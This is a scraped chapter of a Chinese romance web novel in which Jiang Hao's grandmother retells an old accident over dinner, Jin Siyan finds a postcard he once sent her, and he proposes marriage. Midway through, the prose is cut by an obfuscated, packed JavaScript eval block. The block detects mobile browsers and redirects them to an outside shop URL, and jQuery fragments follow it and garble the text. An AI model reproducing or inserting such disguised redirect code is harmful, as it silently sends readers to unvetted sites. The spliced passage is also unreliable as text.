霎时间，众人的视线汇聚在江好的小腹上。
江好下意识地捂着小腹，接着尴尬地笑笑：“阿婆，我也没有胖到这个程度……”
对方满脸写着不相信的模样，显得她这句解释太无力。江好几乎可以预料到明天邻里街坊们会传成什么样子。
外婆三两句打发了其他人，笑意盈盈地拉着靳斯言的手走进家门，“好几年没回来了，都长这么高了。”
“是好些年没来探望您了，爷爷让我和您问好，近来身体可好？”
“好着呢，只是老了不中用了。”
“没有的事。”
靳斯言的声音很有质感，在国外这么些年，竟也没把榕城的方言给忘了。
榕城的方言没什么平翘舌之分，可是话语像是在他舌尖打了个转。和平时说普通话截然不同的感觉，少了几分不近人情的冷漠。
司机一箱一箱地从后备箱往外搬礼品。
外婆嗔怪道：“来家里怎么还拿东西呢。”面上却难掩喜色。
饭菜早已经准备好，老一辈人用的调味料种类很少，做什么菜都一个味道。
外婆热情地往靳斯言的碗里夹着菜，靳斯言执着筷子坐在那儿，分明身处家具陈旧的小屋，却依然难掩他身上的气质。
仿佛面前不是老太太做的家常菜，硬是营造出了一种在作旧的高级餐厅里，吃中式omakase料理的即视感。
这顿饭吃到一半，外婆的目光在江好和靳斯言之间流转着。
“我老太婆年纪大了，看你们坐在一块儿，总是想起以前那些事。”外婆叹了口气，“你们俩都是可怜的孩子。”
外婆刚起了个头，江好便知道她接下来要说什么。
因为自打江好记事起，每逢外婆遇见靳家人便要说这些话。
可是眼下当着靳斯言的面，江好却不想让她接着说下去。
那些对于江好来说，沉重的往事，对于靳斯言来说，可能更是生命中不可承受之重。
江好小声地用方言叫了声“外婆”，试图打断她的话语。
外婆的目光仍是和蔼地落在靳斯言身上，面上表情也未有丝毫的变化，桌下江好的腿却被重重地一撞。
江好知道，这是警告她噤声的意思。
“好好的妈妈，就是我那女儿，打小就心气高，看不上咱们这儿小地方。不稀罕老头子给她安排的工作，也看不上相亲的那些人。二十岁出头的时候……“
江好垂着眸，很轻地眨了一下眼睛。她那个只在别人口中听说的“妈妈”，是跟她截然不同的性格。
她和一个城里的男人相恋，走到谈婚论嫁这一步时，外公外婆不同意，她就硬气地和他们闹。
有一回打算偷户口本去领证，被外婆发现了。外婆说如果她要跟那个男人结婚，她今后就不要再回这个家。她转身就收拾东西走了，再没回过这个家。
江好低着头，几乎是机械性地用筷子往嘴里扒着饭，尝不出什么滋味。
“那年的年初一，老头子开了院门准备放鞭炮，门一开，这孩子裹着毯子就在地上放着呢，下边垫了张出生证明，父母姓名那里就写了一个她妈的名字。怎么来的，她爸是谁，统统不知道。”
“结果不到半年……唉，出了那么档子事情，她外公走了，家里唯一的顶梁柱没了，这么些年她就跟着我吃苦。”
“言言，你和好好都是那场意外的受害者，都是可怜的孩子。”
外婆口中的“那场意外”，出事的除了江好的外公，还有靳斯言的父母。
唯一的幸存者，是靳斯言，外公用自己的命救下了他。
外婆将这些话说过很多很多遍，好像只要她总是提起，其他人就不会忘记。
目的性很强，但是有效。只要靳老在一天，他们靳家总是还这份情的。
每一字一句也仿佛在提醒她，她即将到来的婚姻，是她们家二十年如一日用“惨”换来的。
江好低着头，故作不经意地看向靳斯言。
他的神色未变，精致的侧颜显得有些冷淡。
永远冷静，永远遥不可及。
他目睹着那一场突如其来的、本不该发生的变故，造成了两个家庭的破碎，他亲眼见着自己的父母和江好的外公，在他面前死去。
他比谁都痛苦。
江好不想再让这个话题继续下去。
她伸手去够汤勺，给自己盛汤，手却一抖，汤勺里的汤汤水水洒在靳斯言的手背上。
外婆皱着眉头，紧张道：“言言，没事吧？”转而看向江好，“你看看你，能做些什么？打个汤都能洒了？”
“对不起，我手抖……”
江好拿纸巾胡乱地给靳斯言擦着。
靳斯言没有动作，看着她，目光深深。江好匆匆低下头，不与他对视。
好像他的眼眸，能勘破一切。
好一会儿，靳斯言才淡淡道：“没事。”
经过这一插曲，外婆果然没再提那件事。
吃完饭外婆让靳斯言到江好房间休息，那是家里唯一有空调的房间。
江好则帮着外婆收拾厨房。
上一世纪的自建房，房间因为朝阳的缘故，家具大多褪色，显出一种年代感来。但从细节的布置上，不难看出小姑娘的用心，是“家”的氛围，而不仅是“房子”。
午后阳光正好，将一室照得明亮。
窗边的书桌上放着几本初中的教辅和大学专业课的书，还有一些手写笔记。
他随意地看了看那些笔记，家教辅导的英语备课笔记写得很详细，看上边记录的时间，大约是暑期的兼职。
其余则是微积分的练习题，有些字迹难以辨认，仿佛是睡梦中写出来一般。
靳斯言无奈地摇了摇头。
一边学一边困，但自知不得不学，于是又一边困一边学。
怎么还是和小时候一样讨厌数学。
把笔记放下的时候，瞥见一个熟悉的物件。大部分被遮挡住，一小部分暴露在外边。
靳斯言愣了一下，伸手推开了那一摞书。
木制书桌上盖着块玻璃，上世纪末很流行这样的家具，现在已经比较少见了。通常玻璃和桌面之间的夹层里会放一些重要、值得纪念的照片做展示。
而此刻，这个夹层里，放着一张明信片。
明信片的反面朝上，右上角贴着一张14年英国发行的圣诞邮票，留言区的字迹，靳斯言很熟悉。
“好好，希望你生活开心，不要听别人预设你的未来。”
来自于他亲笔。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13562744|142792||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
这张靳斯言从大洋彼岸寄回来的明信片，就连他自己都已经忘记了。
但它却被江好妥善保护着，放在最显眼的位置。只要坐在这个位置上，就能一眼看见。
已经过去很久了。
这张纸片上泛黄的痕迹，是时间的证明。
他的指尖隔着玻璃，轻触那张明信片。
身后有轻微的动静，靳斯言回身看着江好走近。
她的目光稍有些闪躲，“房间有点乱……”她说着，边移了移那堆书，试图挡住书桌中心那张明信片。
这是靳斯言到英国的第一个月寄回来的，而后便再没有了音讯，只有她去拜访靳老的时候，能从他口中得到几句模糊的近况。
小时候是不明白离别的，越长大，却越觉得想念。
有时候江好会把这种情绪归为，对儿时好友的思念，有时却连自己也无法自圆其说。就如此刻，她的心跳很快，无法找到一个合理的解释。
靳斯言偏头看着江好。
她的眼睫轻轻地颤了颤，顿了一会儿，又把那些书移开，不自然地为自己解释：“只是觉得这张明信片好看。”
可明信片是反面朝上，看不见图案，于是江好又找补了句：“……明信片上的邮票好看。”
这么蹩脚的理由，就连江好自己也觉得没有说服力。可靳斯言只是看着她，薄薄的唇微抿，好一会儿点了点头，“嗯”了一声。
不知是不是江好的错觉，他的声线一贯冷淡，看向她的那一眼却添了几分情绪。
像是一星半点的温柔，微弱得几乎可以忽略不计。
后来，外婆又和靳斯言说了好一会儿话，他大多时候只是安静地听着，在外婆问到什么时，他才会简短地回答几句。
靠近傍晚的时候，靳斯言起身到院子里接了通电话，大约是有些难处理，电话持续了好一会儿。
江好走出来时，正好看见司机将车开到院门口候着。
“你要先走了吗？”
靳斯言点了点头，“公司有些事情需要处理。”
江好听靳老提起过，他本想让靳斯言回国后全面接手集团公司，但靳斯言不愿意，于是回国后仍进了学校，只是偶尔帮他大哥处理些事儿。
江好长叹了口气，果然人和人之间是有差距的，有的人同时兼顾两边的工作，且十分出色，而有的人在学校里挣扎着，还挂了一科微积分。
口袋里的手机震了震，江好没去看。
她正打算再说些什么，就听见靳斯言先她一步开口：“你回程的高铁票，是明天下午，列车信息我发到你微信上。”
江好愣了一瞬。
那天靳斯言是给她买好了来回机票的，现下又重新给她定了高铁票回A市。
是因为她今天在飞机上的耳痛吗……
好像什么东西在她心里重重一撞，而后有一丝悸动和雀跃悄悄爬上她的心头，泛着阵阵酥麻。
两人站在院子里，夏季的余韵已经散去，傍晚的风把院门口的树吹得漱漱作响，开始有了秋天的味道。
靳斯言如大提琴般低沉的嗓音顺着风声，传进她的耳朵里。
靳斯言偏过头看着她，直直望进她的眼底。
“江好。”
“你想结婚吗，和我。”